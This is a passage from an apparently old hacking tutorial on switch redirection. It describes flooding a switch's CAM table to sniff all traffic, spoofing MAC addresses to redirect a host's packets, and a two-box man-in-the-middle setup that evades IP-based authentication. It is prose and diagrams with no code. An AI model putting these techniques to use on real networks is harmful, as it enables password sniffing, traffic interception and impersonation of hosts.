the technique I will first introduce you to how switches work.

A switch is used to connect multiple computers, networks or other
networked devices to one internet. The switch has a port for each
connector where a wire is plugged in. The wire can connect the switch to
another switch or some host's network card.
The switch forwards network packets at the link layer (layer 2). This is
the difference between a switch and a hub. The hub forwards packets at the
physical level, which means that a hub is not intelligently forwarding the
packets to the right port. The switch - working at layer 2 - reads the
MAC addresses of each packet to know where to send the packet to. When the
MAC address is unknown, the packet will be send to all ports. The switch
knows where each host is because it learns this. Say there is a host on
the first port of the switch, when it sends out it's first packet the
switch reads the layer-2 source address and adds it to it's lookup table.
The next time another computer sends out a packet to this address the
switch sends the packet to the first port.
When there are more network addresses on one port, the switch marks the
entry as hub/switch

3.3.2 Switch redirection

Knowing this you could have noticed two possible vulnerabilities:

* what if the table is full (assuming the ammount of entries is not
arbitrary), then the switch might forgot where some of the hosts are
located and send all packets to all ports

* we can probably spoof our source address so that packets destined to
some other host arrive at our system

They both work most of the time, there are some security measures in some
better switch products though. The first method turns the switch into a
hub but may result in DoS because of the load, - not really stealth.
When using this technique we can just flood the LAN with packets with
random sources which causes the switch to behave like a hub, and we can
run a normal sniffer to capture all packets.

The second method is discussed in the phrack article and allows for some
password sniffing. The method is not really useful for man-in-the-middle
attack, only impersonation of our victim's target host.
{
A man-in-the-middle attack requires us to work like a gateway.
But how can we send packets to the host we impersonate when we
have redirected it's traffic at the switch to ourself?
}
The advantage over the ARP method is that this method makes all other
hosts connected to the same switch a victim. That is, the switch where the
attacker is connected to is poisoned, so all connection attempts to the
host the attacker has redirected are redirected to the attacker by the
switch.

3.3.3 Man in the Middle

A man-in-the-middle attack is still possible, although I haven't tested
it. When our victim (10.0.0.2) tries to connect to the redirected host
(10.0.0.1) we can keep the data in a buffer and then reset the switch port
using a broadcasted ARP request destined to 10.0.0.1 of the system we
impersonate. When that system replies, the switch will update it's CAM
table and we can send the data in the buffer to 10.0.0.1, we wait for
response and store it in the buffer, then we re-redirect the traffic of
10.0.0.1 to us again and send the data in the buffer to the victim, and so
on. See the figure below for the illustration of the situation.

10.0.0.1 10.0.0.2
|--------| |----------| |--------|
| target |--------| switch |--------| victim |
|--------| |----------| |--------|
|
|
10.0.0.3
|----------|
| attacker |
|----------|

The method does not seem very reliable, it will atleast be slow and can
result in timeouts. Also, if 10.0.0.1 starts to talk while the victim is
sending data to us the switch may update the table and packets may arrive
at 10.0.0.1 causing 10.0.0.1 to send connection resets and the attacker
must restore the redirection state again etc.
{
Not that connection resets will kill our connection, but then we
must regain the redirection state while 10.0.0.1 is sending
packets.
}
In the phrack article the author(s) mention this idea for
man-in-the-middle attack and they too think it is not very reliable.

However, I think it is possible to make a reliable man-in-the-middle
attack in some cases. I have searched google to see if anyone else has
found a reliable technique to do this but came up with nothing. So here it
goes:

The problem we faced when redirecting traffice to 10.0.0.1 is that we need
to constantly reset/redirect the traffic in the switch. In some scenario's
though, it is possible to make a man-in-the-middle attack without having
to reset the switch, just keep it redirected.
I will illustrate a scenario where we have a victim named `victim' that
wants to connect to a host named `server', here's the drawing:

10.0.0.4
++++++++++++
+ BOX 2 +
++++++_+++++
10.0.0.1 | 10.0.0.2
++++++++++ ++++++^+++++ ++++++++++++ ++++++++++
+ server [----] switch 1 [----] switch 2 [----] victim +
++++++++++ ++++++++++++ ++++++_+++++ ++++++++++
|
++++++^+++++
+ BOX 1 +
++++++++++++
10.0.0.3

[ BOX 1 and 2 are owned by the attacker ]

This illustration looks better huh :>.

Now, I know this situation will not often be there, but say that the
attacker owns BOX 1, connected to switch 2 and he owns BOX 2 connected to
switch 1.
What does this situation help in a man-of-the middle?
Well, it solves our problem. We create a tool that poisons the lookup
table of switch 2 to redirect all traffic destined to host 10.0.0.1
(server) to our BOX 1. BOX 1 has a TCP connection with BOX 2 that runs the
other end of the hacker's program. As soon as victim tries to connect to
server the traffic redirects to BOX 1, BOX 1 sends the data received from
victim over a TCP connection to BOX 2 (along with details of destination
port etc. using a custom protocol). BOX 2 connects to server (10.0.0.1) on
the exact same port that host 10.0.0.2 (victim) wanted to and sends the
data it received from BOX 1 over the connection. BOX 2 receives the reply
from the server (10.0.0.1) and communicates this over to BOX 1 which in
turn communicates it to victim (10.0.0.2).

This may look very complex, but it is not. The only difference between
this situation and the one discussed before is that we now have two
switches and two hosts owned by the attacker. Instead of one gateway we
use two hosts to form one gateway or you could say we have two gateways
now. In this way in this scenario we don't have to reset switch 2 all the
time. The method is quite reliable.

To make the above method more stealth the hacker can also redirect
victim's address (10.0.0.2) to BOX 2 (10.0.0.4) at switch 1 to make a
fully-spoofed connection, the address `10.0.0.2' shows up in the server's
logs and we can circumvent any extra IP-address based authentication.
Isn't that wonderful! This technique is very stealth and probably pretty
reliable and fast.

Tidak ada komentar:

Posting Komentar